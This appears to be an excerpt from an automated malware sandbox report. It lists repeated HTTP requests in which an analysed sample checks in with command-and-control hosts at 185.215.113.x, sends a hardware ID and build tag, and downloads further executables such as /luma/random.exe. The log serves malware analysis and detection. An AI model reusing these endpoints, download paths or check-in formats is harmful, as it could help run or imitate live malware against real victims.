00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="hwid"C211416AD83D981579381------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build"doma------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001158001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001159001&unit=246122658369
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"C211416AD83D981579381------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"doma------JDGCFBAFBFHJEBGCAEGH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001160001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="hwid"C211416AD83D981579381------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build"doma------DAKEBAKFHCFHIEBFBAFB--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001161001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="hwid"C211416AD83D981579381------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="build"doma------EHDHIDAEHCFHJJJJECAA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="hwid"C211416AD83D981579381------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="build"doma------GCGHCBKFCFBFHIDHDBFC--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="hwid"C211416AD83D981579381------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build"doma------BKFHCGIDBAAFHIDHDAAE--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="hwid"C211416AD83D981579381------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="build"doma------FHIIEHJKKECGCBFIIJDA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
